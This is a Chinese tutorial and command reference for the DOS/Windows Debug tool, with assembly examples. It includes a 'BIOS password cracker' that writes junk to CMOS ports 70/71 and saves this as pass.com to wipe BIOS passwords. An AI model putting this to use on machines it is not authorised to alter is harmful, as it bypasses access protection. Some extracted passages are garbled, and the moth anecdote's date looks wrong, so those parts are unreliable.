Debug的学习扫盲

更新时间:2024-05-25 06:18:01 阅读量: 综合文库 文档下载

说明:文章内容仅供预览,部分内容可能不全。下载后的文档,内容与下面显示的完全一致。下载之前请确认下面内容是否您想要的,是否完整无缺。

关于Debug的学习扫盲

Debug是什么?

豪华绚丽的Windows让人们把DOS抛到遥远的记忆角落。然而,真正有价值的东西不会轻易退出历史的舞台,Debug就是这样的经典作品之一。从古老的DOS到现今的Windows XP,Debug一直紧紧跟随着微软的操作系统,静静躺在系统文件夹里。也许你平时对它不闻不问,但要想成为人人羡慕的系统高手,我们就得唤醒这个沉睡已久的命令行工具了,通过阅读本文对它的研究,相信你会同笔者一样的感觉到:姜,还是老的辣!

A、寻根溯源:世界第一只计算机BUG和Debug

霍德华·艾肯在哈佛大学攻读物理学博士学位时,开始梦想制作一台计算机帮他解决数学难题,工作后,他找到IBM公司为其投资100万美元研制计算机,第一台成品艾肯把它取名为:马克Ⅰ号,又叫“自动序列受控计算机”,从这时起IBM公司由生产制表机、肉铺磅秤、咖啡碾磨机等乱七八糟玩意的行业,正式跨进了计算机“领地”。

1945年9月9日,为马克II号编制计算程序的女数学家格雷斯·霍波在调试程序时出现了故障,拆开继电器后,发现有只飞蛾被夹扁在触点中间,从而“卡”住了机器的运行。于是霍波把这只飞蛾粘在了计算机的工作日志中,并恢谐地把程序故障统称为“臭虫”(bug),自此以后,只要这台计算机一停止运转(那时候是经常的事),同事们就会开玩笑地对霍德华·艾肯说,我们正在“Debug”(除虫)呢!后来“bug”成为计算机领域的专业行话,如DOS系统中的调试程序,程序名称就叫Debug。

目前那只飞蛾还保存在美国史密森尼博物院的美国历史国家博物馆中呢。

1981年,第一个PC DOS(即DOS 1.00)面世时就已经带上了Debug.com。不过,到目前为止,Debug一直没有大的变动——当然,这是指Debug提供给用户的功能,Debug本身代码、内部运行机制必然随着操作系统的变化而不断改变。然而,无论是Windows 98、2000还是XP,Debug的操作方式与纯DOS环境下基本一样。

B、初学乍练:短短几行命令学用Debug

Debug.exe文件位于Windows\\system32目录(Windows XP)或Windows\\command目录(Windows 9x)下。基本使用方法如下:

Step 1:点击“开始→运行”,输入“CMD”(Windows 2000/XP)或“Command”(Windows 9x)打开命令提示符窗口。

Step 2:输入“Debug”并回车,出现提示符“-”,现在你已经开启了神秘的Debug世界了。 小提示

执行“?”命令可以参看Debug主要命令及参数。

Step 3:输入“D FE00:0”,回车后可以看到结果(见图1),这个就是主板BIOS的厂商信息。接着再输入“D FFFF:5 L 8”,回车后,主板的BIOS版本日期也出来了。

Step 4:现在再输入“Q”命令,回车后就退出了Debug程序。

C、继续深入:Debug经典实例秀

在操作以下实例之前,提醒您要注意操作安全,因为Debug命令有一定风险,如果输入错误,有可能对系统造成一定破坏,这点请您一定注意。 实例1:查看你的显卡信息

输入“D C000:0090”命令并回车,这时右侧部分可以看到系统中显卡的显存、生产厂商等信息。 实例2:制作BIOS密码破解器

忘记BIOS密码,一般都采用放电法来清空密码,但这对普通用户有一定难度,并且还得开机箱。其实利用Debug的0命令则简单得多!请在“-”后输入以下命令:

o 70 19 o 71 15 q

重启电脑,系统提示CMOS校验和出错,并要求重新进入BIOS设置CMOS。

小提示:70和71是CMOS的两个端口,我们可以在它们的后面随意写入一些错误数据(如19、16、17等),就会清空CMOS里所有设置,如果不见效不妨多用几个数据试试。

如果觉得每次输入Debug命令太麻烦,可以用下面的方法把命令存成一个COM文件,需要解除密码时只要运行一下就行了。请在Debug中命令提示符“-”后输入以下命令: A 100 MOV DX,70 MOV AL,10 OUT DX,AL MOV DX,71 MOV AL,01

OUT DX,AL(这里要两次回车,接着会出现“-”提示符,然后再输入下面的命令) R CX(回车后会出现“CX 0000”,然后再次按回车) 0C N pass.COM W Q

这样就会在Debug当前目录下生成pass.com,是一个清除BIOS口令设置的程序,只要在DOS提示符下键入“pass”,然后按回车即可。经我们测试,其实在Windows下面运行也可以成功,只是不太稳定,有时会重新启动计算机。

二、DEBUG的主要用途及DEBUG的调用

DEBUG是为汇编语言设计的一种调试工具,它通过单步执行、设置断点等方式为汇编语言程序员提供了非常有效的程序调试手段。DEBUG可以直接用来检查和修改内存单元、装入、存储及启动运行程序、检查及修改寄存器,也就是说DEBUG可深入到计算机的内部,可使用户更紧密地与计算机中真正进行的工作相联系。不仅如此,对汇编语言初学者来说,DEBUG也是练习使用汇编指令的一种有效工具。初学者可以直接在DEBUG环境下执行汇编指令。然而,在DEBUG下运行汇编语言源程序也受到了一些限制,它不宜汇编较长的程序,不便于分块程序设计,不便于形成以DOS外部命令形式构成的 .EXE文件,不能使用浮动地址,也不能使用ASM和MASM提供的绝大多数伪指令。

在DOS系统中,DEBUG是以DOS外部命令文件形式提供给用户的,名为DEBUG.EXE。命令文件DEBUG.EXE一般存放在DOS子目录下,因此调用DEBUG时,只需在DOS提示符下键入:

DEBUG [<驱动器名>:][<路径>][<文件名>[.<扩展名>]][<参数1>][<参数2>] < 回车> 例如: C:\\DOS>DEBUG DISKCOPY.COM A: B:

进入DEBUG的提示符是符号“-”。即,出现提示符“-”就表示可以接受DEBUG命令了。 当进入DEBUG时,寄存器和标志设成以下数值,这些值用于DEBUG调试中的程序。 段寄存器CS,DS,ES和SS均指向DEBUG末尾的第一个段。

IP寄存器置为0100H。栈指针SP指向尾部或装入程序的暂存部分的底部。

其余寄存器皆取零值,但若用户调用时含文件说明,则CX含文件长度(长度大于64K时BX含长度的高位);标志为各自的复位值;驱动器传送地址在代码段位移80H处。

注意,若DEBUG装入扩展名为.EXE的文件,则DEBUG需重定位且设置段寄存器指示器为文件中所定义的值。但DS,ES指向最低可用段处的程序区前缀。BX和CX为文件容量值。而 .EXE文件如果在连接时选择了装入内存高处的参数,则该程序装入高处。

三、DEBUG的主要命令功能与格式

DEBUG命令是在DEBUG提示符“-”下,由键盘键入的。每条命令以单个字母的命令符开头,然后是命令的操作参数,操作参数与操作参数之间,用空格或逗号隔开,操作参数与命令符之间用空格隔开,命令的结束符是回车键 Enter。命令及参数的输入可以是大小写的结合。Ctrl+Break键可中止命令的执行。Ctrl+Num Lock键可暂停屏幕卷动,按任一键继续。所用数均为十六进制数,且不必写H。 * 1. 汇编命令A

格式:A [[<段寄存器名>/<段地址>:] <段内偏移>] 上式等价于:

(1) A <段寄存器名>:<段内偏移> (2) A <段地址>:<段内偏移> (3) A <段内偏移> (4) A

功能:键入该命令后显示段地址和段内偏移并等待用户从键盘逐条键入汇编命令,逐条汇编成代码指令,顺序存放到段地址和段内偏移所指定的内存区域,直到显示下一地址时用户直接键入回车键返回到提示符“-”。

注: 其中(1)用指定段寄存器的内容作段地址,(3)用CS的内容作段地址,(4)以CS:100作地址。以后命令中提及的各种‘地址’形式,均指(1)、(2)、(3)中A后的地址形式。 2. 比较命令C

格式: C <源地址范围>,<目标地址>

其中<范围>是由<起始地址> <终止地址>或者是由<起始地址> L <长度>指出的一片连续单元。

功能:从<源地址范围>的起始地址单元起逐个与目标起始地址以后的单元顺序比较单元的内容,直至源终止地址为止。遇有不一致时,以<源地址> <源内容> <目标内容> <目标地址>的形式显示失配单元及内容。 * 3. 显示内存命令D 格式: D [<地址>/<范围>] 上式等价于: (1) D <地址> (2) D <范围> (3) D

功能:以两种形式显示指定范围的内存内容。一种形式为十六进制内容,一种形式为以相应字节的内容作为ASCII码的字符,对不可见字符以‘.’代替。 注: 其中(1)以

CS

为段寄存器。(3)显示

CS:100

起始的一段内

容 * 4. 修改内存命令E

格式: E <地址> [<单元内容表>] 上式等价于: (1) E <地址>

(2) E <地址> <单元内容表>

其中<单元内容表>是以逗号分隔的十六进制数,或用’或”括起来的字符串,或者是二者的组合。

功能: (1)不断显示地址,可连续键入修改内容,直至新地址出现后键入回车Enter为止。(2)将<单元内容表>逐一写入由<地址>开始的一片单元。 5. 填充内存命令F

格式: F <范围> <单元内容表>

功能: 将单元内容表中的值逐个填入指定范围,单元内容表中内容用完后重复使用。 例如: -F 5BC:200 L 10 B2,‘XYZ’,3C

* 6. 执行命令G

格式: G [=<地址>[,<断点>]] 上式等价于: (1) G (2) G=<地址> (3) G=<地址>,<断点> 功能: 执行内存中的指令序列 注: (1)从CS:IP所指处开始执行 (2)从指定地址开始执行

(3)从指定地址开始执行,到断点自动停止。 7. 十六进制算求运算指令H 格式: H <值1> <值2>

功能: 求十六进制数<值1>和<值2>的和与差并显示结果。 8. 端口输入命令I 格式: I <端口地址>

功能: 从指定端口接收信息并将输入的内容显示出来。 * 9. 读盘命令L

格式: L <地址> <驱动器号> <起始逻辑扇区> <所读扇区个数n>

其中<地址>的缺省值为CS:100。逻辑扇区可由物理扇区号换算得到,以双面双密度盘为例:物理扇区是按0面0道1区,0面0道2区,??,0面0道9区,0面1道1区,??,0面39道9区,1面0道1区,??,1面39道9区排列。而逻辑扇区与物理扇区号的对应关系为物理扇区0面0道1扇区至9扇区,逻辑扇区号为0—8;物理扇区1面0道1扇区至9扇区,逻辑扇区号为9—11H;物理扇区0面1道1扇区至9扇区,逻辑扇区号为12—1AH;??。这样每道先0面后1面一直排下去。

其中<驱动器号>为0、1或2,0表示A驱,1表示B驱,2表示硬盘。

功能: 将<驱动器号>指定的盘上,从<起始逻辑扇区>起,共n个逻辑扇区上的所有字节顺序读入指定内存地址开始的一片连续单元。当L后的参数缺省时,必须在L之前由N命令指定(或进入DEBUG时一并指出)所读驱动器文件名。此时L执行后将该文件装入内存。 例如:-N EXAMPLE -L

将当前驱动器上的EXAMPLE文件装入CS:100起始的一片内存单元。 10. 内存搬家命令M

格式: M <源地址范围> <目标起始地址>

其中源及目标地址若仅输入偏移量,则隐含相对DS。

功能:把<源地址范围>中的内容顺序搬至<目标起始地址>起的一片连续单元。 例如:-M CS:100 110 600

把从CS:100起至CS:110止17个字节搬至DS:600至DS:610的一片单元。 * 11. 命名待读/写文件命令N 格式: N <文件名说明>

功能: 为L/W命令指定待装入/写盘文件 注: 其它形式参考DOS手册 12. 端口输出命令O 格式: O <端口地址> <字节>

功能:将该<字节>从指定<端口地址>输出。 例如:-O 2F 4F

将4FH从端口2FH输出

* 13. 结束DEBUG返回DOS命令Q 格式:Q

功能:返回DOS提示符下 * 14. 显示修改寄存器命令R 格式: R [<寄存器名>] 上式等价于: (1) R

(2) R <寄存器名>

功能: (1)显示当前所有寄存器内容,状态标志及将要执行的下一指令的地址,代码及汇编语句形式。其中对状态标志FLAG以每位的形式显示,详见下表。 状态标志显示形式示意图

标志位 溢出OF 方向DF 中断IF 符号SF 零 ZF 辅助AF 奇偶PF 进位CF

状 态 有/无 减/增 开/关 负/正 零/非 有/无 偶/奇 有/无

显 示 OV/NV DN/UP EI/DI NG/PL ZR/NZ AC/NA PE/PO CY/NC (2)显示指定寄存器内容 例如:-R AX -R F 15. 搜索指定内存命令S 格式: S <地址范围> <表>

功能:在指定范围搜索表中内容,找到后显示表中元素所在地址 例如:-S CS:100 110 41 显示:04BA:0104 04BA:010D

表示在位移100H至110H间的上述两处有41H。又如: -S C3:100 L 11 41“AB”E

表示在当前代码段位移100H至111H处寻找连续4个字节内容为41H、41H、42H、0EH的起始单元地址。 * 16. 执行并显示系统环境命令T 格式:T [=<地址>] [<条数>]

功能:执行由指定地址起始的、由<条数>指定的若干条命令。其中<地址>的缺省值是当前IP值,<条数>的缺省值是一条。

例如:-T 执行当前指令并显示状态 -T 10 从当前指令始执行10H条指令 * 17. 反汇编命令U

格式:U [<地址>/<地址范围>] 上式等价于: (1) U <地址> (2) U <地址范围> (3) U

功能:将指定范围内的代码以汇编语句形式显示,同时显示地址及代码。注意,反汇编时一定确认指令的起始地址后再作,否则将得不到正确结果。地址及范围的缺省值是上次U指令后下一地址的值。这样可以连续反汇编。

* 18. 写盘命令W

格式:W <地址> <盘号> <起始逻辑扇区> <所写逻辑扇区数n>

功能:与L命令不同的地方是将内存从<地址>起始的一片单元内容写入指定扇区。只有W而没有参数时,与N命令配合使用将文件写盘。

注:要求大家对其中打\的DEBUG命令必须能熟练使用。

四、如何在DEBUG环境下执行汇编指令

本节从几个典型例子出发,通过上机实习,引导读者学会使用DEBUG调试程序运行汇编语言程序,以便读者在以后的学习中能够有一个熟练的调试和运行手段。

在进入DEBUG的提示符‘-’之后,用户可以通过DEBUG的命令输入汇编源程序,并用相应命令将其汇编成机器语言程序;然后调试并运行该程序。 例1 在DEBUG下运行如下程序。

MOV DL,33H ;字符3的ASCII码送DL MOV AH,2 ;使用DOS的2号功能调用 INT 21H ;进入功能调用,输出‘3’ INT 20H ;BIOS中断服务程序,正常结束。

该程序运行结果是在显示器上输出一个字符‘3’。如果要输出其它字符,请改变程序中‘33H’为相应字符的ASCII码。

运行步骤: (1)进入DEBUG

设DEBUG.EXE位于C盘DOS子目录,进入DOS后键入DEBUG ,即 C:\\DOS>DEBUG 屏幕显示: -

‘-’号是进入DEBUG的提示符,在该提示符下可键入任意DEBUG命令。现在用A命令送程序如下: (2)送程序并汇编 -A 100

169C:0100 MOV DL,33 169C:0102 MOV AH,2 169C:0104 INT 21 169C:0106 INT 20 169C:0108 -

至此程序已送完,汇编成机器指令,顺序存放于CS段100H起始的8个存储单元。

如果在汇编后想看一下机器指令是什么样子的话,方法之一是可以用反汇编命令U作如下操作: (3)反汇编 -U 100 108

169C:0100 B233 MOV DL,33 169C:0102 B402 MOV AH,02 169C:0104 CD21 INT 21 169C:0106 CD20 INT 20 169C:0108 -

右边是汇编指令,中间是该汇编指令的机器码,左边是存放该条指令的内存单元地址。 (4)运行程序 -G 3

Program terminated normally -

(5)写COM文件 -R BX BX 0000 : -R CX CX 0000 :A

-N EXCOM.COM -W -

其中(BX)*10000H+(CX)用于指定所写的字节数,(BX)为该数的高16位,(CX)为该数的低16位。因此,上面的过程实际上是要将A个字节写入文件EXCOM.COM。 (6)送机器指令程序

-E 200 B2 33 B4 02 CD 21 CD 20 -

(7)显示内存 -D 200 208

169C:0200 B2 33 B4 02 CD 21 CD 20-61 . 3 . . . ! . . a -

(8)执行机器指令程序 -G=200 3

Program terminated normally -

(9)退出DEBUG返回DOS,执行EXCOM.COM文件 -Q

C:\\DOS>EXCOM 3 C:\\DOS>

DEBUG命令详解

DEBUG是DOS中的一个外部命令,从DOS 1.0起就带有此命令,因此可见此命令的重要性了。虽然此命令的功能非常强大,可以解决许多问题,可是对许多人来说,尤其是初学者来说,却非常不易掌握。因此,现将DEBUG的命令详细介绍一番,以让大家知道它的使用。

Debug:A(汇编)

直接将 8086/8087/8088 记忆码合并到内存。

该命令从汇编语言语句创建可执行的机器码。所有数值都是十六进制格式,必须按一到四个字符输入这些数值。在引用的操作代码(操作码)前指定前缀记忆码。

a [address] 参数 address

指定键入汇编语言指令的位置。对 address 使用十六进制值,并键入不以“h”字符结尾的每个值。如果不指定地址,a 将在它上次停止处开始汇编。

有关将数据输入到指定字节中的信息,请单击“相关主题”列表中的 Debug E(键入)。

有关反汇编字节的信息,请单击“相关主题”列表中的 Debug U(反汇编)。 说明

使用记忆码

段的替代记忆码为 cs:、ds:、es: 和 ss:。远程返回的记忆码是 retf。字符串处理的记忆码必须明确声明字符串大小。例如,使用 movsw 可以移动 16 位的字串,使用 movsb 可以移动 8 位字节串。

汇编跳转和调用

汇编程序根据字节替换自动将短、近和远的跳转及调用汇编到目标地址。通过使用 near 或 far 前缀可以替代这样的跳转或调用,如下例所示:

-a0100:0500

0100:0500 jmp 502 ; a 2-byte short jump 0100:0502 jmp near 505 ; a 3-byte near jump 0100:0505 jmp far 50a ; a 5-byte far jump

可以将 near 前缀缩写为 ne。

区分字和字节内存位置

当某个操作数可以引用某个字内存位置或者字节内存位置时,必须用前缀 word ptr 或者前缀 byte ptr 指定数据类型。可接受的缩写分别是 wo 和 by。以下范例显示两种格式:

dec wo [si]

neg byte ptr [128]

指定操作数

Debug 使用包括在中括号 ([ ]) 的操作数引用内存地址的习惯用法。这是因为另一方面 Debug 不能区分立即操作数和内存地址的操作数。以下范例显示两种格式:

mov ax,21 ; load AX with 21h mov ax,[21] ; load AX with the ; contents of

; memory location 21h

使用伪指令

使用 a 命令提供两个常用的伪指令:db 操作码,将字节值直接汇编到内存,dw 操作码,将字值直接汇编到内存。以下是两个伪指令的范例:

db 1,2,3,4,\db 'THIS IS A QUOTATION MARK:\ db \TION MARK:'\ dw 1000,2000,3000,\ 范例

a 命令支持所有形式的间接注册命令,如下例所示:

add bx,34[bp+2].[si-1] pop [bp+di] push [si] )

还支持所有操作码同义词,如下例所示: loopz 100 loope 100 ja 200 jnbe 200

对于 8087 操作码,必须指定 wait 或 fwait 前缀,如下例所示:

fwait fadd st,st(3) ; this line assembles ; an fwait prefix

Debug:C(比较)

比较内存的两个部分。 c range address 参数 range

指定要比较的内存第一个区域的起始和结束地址,或起始地址和长度。有关有效的 range 值的信息,请单击“相关主题”列表中的“Debug 说明”。 address

指定要比较的第二个内存区域的起始地址。有关有效 address 值的信息,请单击“相关主题”列表中的“Debug 说明”。 说明

如果 range 和 address 内存区域相同,Debug 将不显示任何内容而直接返回到 Debug 提示符。如果有差异,Debug 将按如下格式显示: address1 byte1 byte2 addess2 范例

以下命令具有相同效果:

c100,10f 300 c100l10 300

每个命令都对 100h 到 10Fh 的内存数据块与 300h 到 30Fh 的内存数据块进行比较。

Debug 响应前面的命令并显示如下信息(假定 DS = 197F):

197F:0100 4D E4 197F:0300 197F:0101 67 99 197F:0301 197F:0102 A3 27 197F:0302 197F:0103 35 F3 197F:0303 197F:0104 97 BD 197F:0304 197F:0105 04 35 197F:0305 197F:0107 76 71 197F:0307 197F:0108 E6 11 197F:0308 197F:0109 19 2C 197F:0309 197F:010A 80 0A 197F:030A 197F:010B 36 7F 197F:030B 197F:010C BE 22 197F:030C 197F:010D 83 93 197F:030D

197F:010E 49 77 197F:030E 197F:010F 4F 8A 197F:030F

注意列表中缺少地址 197F:0106 和 197F:0306。这表明那些地址中的值是相同的。

Debug:D(转储)

显示一定范围内存地址的内容。 d [range] 参数 range

指定要显示其内容的内存区域的起始和结束地址,或起始地址和长度。有关有效的 range 值的信息,请单击“相关主题”列表中的“Debug 说明”。如果不指定 range,Debug 程序将从以前 d 命令中所指定的地址范围的末尾开始显示 128 个字节的内容。

有关显示寄存器内容的信息,请单击“相关主题”列表中的 Debug R(寄存器)。 说明

当使用 d 命令时,Debug 以两个部分显示内存内容:十六进制部分(每个字节的值都用十六进制格式表示)和 ASCII 码部分(每个字节的值都用 ASCII 码字符表示)。每个非打印字符在显示的 ASCII 部分由句号 (.) 表示。每个显示行显示 16 字节的内容,第 8 字节和第 9 字节之间有一个连字符。每个显示行从 16 字节的边界上开始。 范例

假定键入以下命令: dcs:100 10f

Debug 按以下格式显示范围中的内容:

04BA:0100 54 4F 4D 00 53 41 57 59-45 52 00 00 00 00 00 00 TOM.SAWYER......

如果在没有参数的情况下键入 d 命令,Debug 按以前范例中所描述的内容来编排显示格式。显示的每行以比前一行的地址大 16 个字节(如果是显示 40 列的屏幕,则为 8 个字节)的地址开头。

对于后面键入的每个不带参数的 d 命令,Debug 将紧接在最后显示的命令后立即显示字节内容。 如果键入以下命令,Debug 将从 CS:100 开始显示 20h 个字节的内容: dcs:100 l 20

如果键入以下命令,Debug 将显示范围从 CS 段的 100h 到 115h 中所有字节的内容: dcs:100 115

Debug:E(键入)

将数据输入到内存中指定的地址。

可以按十六进制或 ASCII 格式键入数据。以前存储在指定位置的任何数据全部丢失。

e address 参数 address

指定输入数据的第一个内存位置。 list

指定要输入到内存的连续字节中的数据。

有关集成记忆码的信息,请单击“相关主题”列表中的 Debug A(汇编)。 有关显示内存部分内容的信息,请单击“相关主题”列表中的 Debug D (转储)。 说明

使用 address 参数

如果在没有指定可选的 list 参数的值情况下指定 address 的值,Debug 将显示地址和内容,在下一行重复地址,并等待您的输入。此时,您可以执行下列操作之一:

替换字节值。为此,请在当前值后键入新值。如果您键入的值不是有效的十六进制值,或该值包含两个以上的数字,则 Debug 不会回显无效或额外的字符。

进入下一个字节。为此,请按 SPACEBAR(空格键)。要更改该字节中的值,请在当前值后键入新值。如果按 SPACEBAR(空格键)时,移动超过了 8 位界限,Debug 程序将显示新的一行并在行首显示新地址。

返回到前一个字节。为此,请按 HYPHEN 键 (-)。可以反复按 HYPHEN 键 (-) 向后移动超过多个字节。在按 HYPHEN 时,Debug 开始新行并显示当前地址和字节值。

停止执行 e 命令。为此,请按 ENTER 键。在任何字节位置都可以按 ENTER。 使用 list 参数

如果指定 list 参数的值,随后的 e 命令将使用列表中的值替换现有的字节值。如果发生错误,将不更改任何字节值。

List 值可以是十六进制字节或字符串。使用空格、逗号或制表符来分隔值。必须将字符串包括在单或双引号中。 范例

假定键入以下命令: ecs:100

Debug 按下面的格式显示第一个字节的内容:

04BA:0100 EB.

要将该值更改为 41,请在插入点键入 41,如下所示:

04BA:0100 EB.41_

可以用一个 e 命令键入连续的字节值。在键入新值后按 SPACEBAR(空格键),而不是按 ENTER 键。Debug 显示下一个值。在此范例中,如果按三次 SPACEBAR(空格键),Debug 将显示下面的值:

04BA:0100 EB.41 10. 00. BC._

要将十六进制值 BC 更改为 42,请在插入点键入 42,如下所示:

04BA:0100 EB.41 10. 00. BC.42_

假定决定值 10 应该是 6F。要纠正该值,请按 HYPHEN 键两次以返回到地址 0101(值 10)。Debug 显示以下内容:

04BA:0100 EB.41 10. 00. BC.42- 04BA:0102 00.- 04BA:0101 10._

在插入点键入 6f 更改值,如下所示:

04BA:0101 10.6f_

按 ENTER 停止 e 命令并返回到 Debug 提示符下。

以下是字符串项的范例:

eds:100 \

该字符串将从 DS:100 开始填充 24 个字节

Debug:F(填充)

使用指定的值填充指定内存区域中的地址。

可以指定十六进制或 ASCII 格式表示的数据。任何以前存储在指定位置的数据将会丢失。 f range list 参数 range

指定要填充内存区域的起始和结束地址,或起始地址和长度。关于有效的 range 值的信息,请单击“相关主题”列表中的“Debug 说明”。 list

指定要输入的数据。List 可以由十六进制数或引号包括起来的字符串组成。 说明

使用 range 参数

如果 range 包含的字节数比 list 中的数值大,Debug 将在 list 中反复指派值,直到 range 中的所有字节全部填充。

如果在 range 中的任何内存损坏或不存在,Debug 将显示错误消息并停止 f 命令。

使用 list 参数

如果 list 包含的数值多于 range 中的字节数,Debug 将忽略 list 中额外的值。 范例

假定键入以下命令:

f04ba:100l100 42 45 52 54 41

作为响应,Debug 使用指定的值填充从 04BA:100 到 04BA:1FF 的内存位置。Debug 重复这五个值直到 100h 个字节全部填满为止。

Debug:G(转向)

运行当前在内存中的程序。

g [=address] [breakpoints] 参数 =address

指定当前在内存中要开始执行的程序地址。如果不指定 address,Windows 2000 将从 CS:IP 寄存器中的当前地址开始执行程序。

breakpoints

指定可以设置为 g 命令的部分的 1 到 10 个临时断点。

有关执行循环、重复的字符串指令、软件中断或子程序的信息,请单击“相关主题”列表中的 Debug P(执行)。

有关执行指令的信息,请单击“相关主题”列表中的 Debug T(跟踪)。

Debug:H(十六进制)

对指定的两个参数执行十六进制运算。

h value1 value2 参数 value1

代表从 0 到 FFFFh 范围内的任何十六进制数字。 value2

代表从 0 到 FFFFh 范围内第二个十六进制数字。 说明

Debug 首先将指定的两个参数相加,然后从第一个参数中减去第二个参数。这些计算的结果显示在一行中:先计算和,然后计算差。 范例

假定键入以下命令: h19f 10a

Debug 执行运算并显示以下结果。 02A9 0095

Debug:I(输入)

从指定的端口读取并显示一个字节值。 i port 参数 port

按地址指定输入端口。地址可以是 16 位的值。

有关将字节值发送到输出端口的信息,请单击“相关主题”列表中的 Debug O(输出)。 范例

假定键入以下命令: i2f8

同时假定端口的字节值是 42h。Debug 读取该字节,并将其值显示如下: 42

Debug:L(加载)

将某个文件或特定磁盘扇区的内容加载到内存。

要从磁盘文件加载 BX:CX 寄存器中指定的字节数内容,请使用以下语法:

l [address]

要略过 Windows 2000 文件系统并直接加载特定的扇区,请使用以下语法:

l address drive start number 参数 address

指定要在其中加载文件或扇区内容的内存位置。如果不指定 address,Debug 将使用 CS 寄存器中的当前地址。 drive

指定包含读取指定扇区的磁盘的驱动器。该值是数值型:0 = A, 1 = B, 2 = C 等。 start

指定要加载其内容的第一个扇区的十六进制数。 number

指定要加载其内容的连续扇区的十六进制数。只有要加载特定扇区的内容而不是加载 debug 命令行或最近的 Debug n(名称)命令中指定的文件时,才能使用 drive、start 和 number 参数。

有关指定用于 l 命令的文件的信息,请单击“相关主题”列表中的 Debug n(名称)。

有关写入调试到磁盘的文件的信息,请单击“相关主题”列表中的 Debug w(写入)。 注意

使用不带参数的 l 命令

当使用不带参数的 l 命令时,在 debug 命令行上指定的文件将加载到内存中,从地址 CS:100 开始。Debug 同时将 BX 和 CX 寄存器设置为加载的字节数。如果不在 debug 命令行指定文件,所装入的文件将是最近使用 n 命令经常指定的文件。

使用具有 address 参数的 1 命令

如果使用带 address 参数的 l 命令,Debug 将从内存位置 address 开始加载文件或指定扇区的内容。

使用带全部参数的 l 命令

如果使用带所有参数的 l 命令,Debug 将加载指定磁盘扇区的内容而不是加载文件。

加载特定扇区的内容

指定范围内的每个扇区均从 drive 读取。Debug 从 start 开始加载,直到在 number 中指定的扇区

数中的内容全部被加载。

加载 .exe 文件

Debug 忽略 .exe 文件的地址 address 参数。如果指定 .exe 文件,Debug 将文件重新定位到 .exe 文件的标题中指定的加载地址。在 .exe 文件被加载到内存前,标题自身从 .exe 文件脱离,因此磁盘上的 .exe 文件大小与内存中的不同。如果要检查整个 .exe 文件,请使用不同的扩展名重命名文件。

打开十六进制文件

Debug 将具有 .hex 扩展名的文件认为十六进制格式文件。键入不带参数的 l 命令,可以加载从十六进制文件中指定的地址处开始的十六进制文件。如果键入的 l 命令包含 address 参数,Debug 将把指定的地址加到在十六进制文件中找到的地址上,以确定起始地址。 范例

假定启动 Debug 并键入以下命令: nfile.com

现在可以键入 l 命令以加载 File.com。Debug 将加载文件并显示 Debug 提示符。

假定需要从驱动器 C 将起始逻辑扇区为 15 (0Fh) 的 109 (6Dh) 个扇区的内容加载到起始地址为 04BA:0100 的内存中。为此,请键入以下命令: l04ba:100 2 0f 6d

Debug:M(移动)

将一个内存块中的内容复制到另一个内存块中。

m range address 参数 range

指定要复制内容的内存区域的起始和结束地址,或起始地址和长度。

address

指定要将 range 内容复制到该位置的起始地址。 说明

复制操作对现有数据的影响

如果新数据没有写入正在被复制的数据块中的地址,则源数据将保持不变。但是,如果目标块已经包含数据(就象它在覆盖副本操作中一样),则将改写该数据。(覆盖复制操作是指那些目标数据块部分内容覆盖原数据块部分内容的操作。)

执行覆盖复制操作

m 命令执行目标地址的覆盖复制操作,而不丢失数据。将改写的地址内容首先复制。因此,如果将较高位地址的数据复制到较低位地址,则复制操作从原块的最低位地址开始并向最高位地址进行。反之,如果要将数据从低地址复制到高地址,复制操作从原块的最高地址开始,向最低地址进行。 范例

假定键入以下命令:

mcs:100 110 cs:500

Debug 首先将 CS:110 地址中的内容复制到地址 CS:510 中,然后将 CS:10F 地址中的内容复制到 CS:50F 中,如此操作直至将 CS:100 地址中的内容复制到地址 CS:500 中。要查看结果,请使用 Debug d(转储)命令,并使用 m 命令指定目标地址

Debug:N(名称)

指定 Debug l(加载)或 w(写入)命令的可执行文件的名称,或者指定正在调试的可执行文件的参数。

n [drive:][path] filename

要指定测试的可执行文件的参数,请使用以下语法:

n file-parameters

参数

如果在没有参数的情况下使用,则 n 命令清除当前规范。 [drive:][path] filename

指定要测试的可执行文件的位置和名称。

file-parameters

为正在测试的可执行文件指定参数和开关。

有关将文件或指定磁盘扇区的内容加载到内存中的信息,请单击“相关主题”列表中的 Debug L(加载)。

有关写入调试到磁盘的文件的信息,请单击“相关主题”列表中的 Debug W(写入)。 说明

n 命令的两个用途

可以按两种方式使用 n 命令。首先,您可以使用它以指定后面的 l(加载)或 w(写入)命令所使用的文件。如果在没有命名所调试文件的情况下启动 Debug,必须在使用 l 命令加载文件之前使用命令 nfilename。在 CS:5C 为文件控制块 (FCB) 正确编排文件名的格式。其次,可以使用 n 命令指定被调试文件的命令行参数和开关。 内存区域

以下四个内存区域都会受到 n 命令的影响: 内存位置 内容 CS:5C

文件 1 的文件控制数据块 (FCB) CS:6C

文件 2 的文件控制数据块 (FCB) CS:80

n 命令行的长度(以字符表示)

CS:81

n 命令行字符的开头

为 n 命令指定的第一个文件名被放在 CS:5C 的 FCB 中。如果指定第二个文件名,此名称将放置到 CS:6C 的 FCB 中。n 命令行上键入的字符数(除第一个字符之外,n)存储在位置 CS:80。n 命令行上的实际字符(再次,除了字母 n 之外)存储在以 CS:81 开头的位置。注意这些字符可以是在 Windows 2000 命令提示符下键入的命令中有效的任何开关和分隔符。 范例

假定已经启动 Debug,并加载了正在调试的程序 Prog.com。接着您决定为 Prog.com 指定两个参数并运行此程序。以下是此范例的命令序列:

debug prog.com nparam1 param2 g

在这种情况下,Debug g(转向)命令会运行该程序,就好像您已在 Windows 2000 命令提示符后键入了如下命令:

prog param1 param2

所以,测试和调试反映 Prog.com 通常的运行时间环境。

在下面的命令序列中,第一个 n 命令将 File1.exe 指定为后接的 l(加载)命令的文件,该命令将 File1.exe 加载到内存。第二个 n 命令指定 File1.exe 将使用的参数。最后,g 命令将运行 File1.exe 文件,就好像您在 Windows 2000 命令行中键入了 File1 File2.dat File2.dat 一样。 nfile1.exe l

nfile2.dat file3.dat g 注意

不要在 n 命令的第二种形式后使用 l 命令。还要注意,如果现在使用 w(写入)命令,Windows 2000 将使用名称 File2.dat 保存正在调试的文件 File1.exe。为避免出现此结果,应该总是在 l 或 w 命令之前立即使用 n 命令的第一种形式。

Debug:O(输出)

将字节值发送到输出端口。

o port byte-value 参数 port

通过地址指定输出端口。端口地址可以是 16 位值。

byte-value

指定要指向 port 的字节值。

有关从输入端口读取字节值的信息,请单击“相关主题”列表中的 Debug I(输入)。 范例

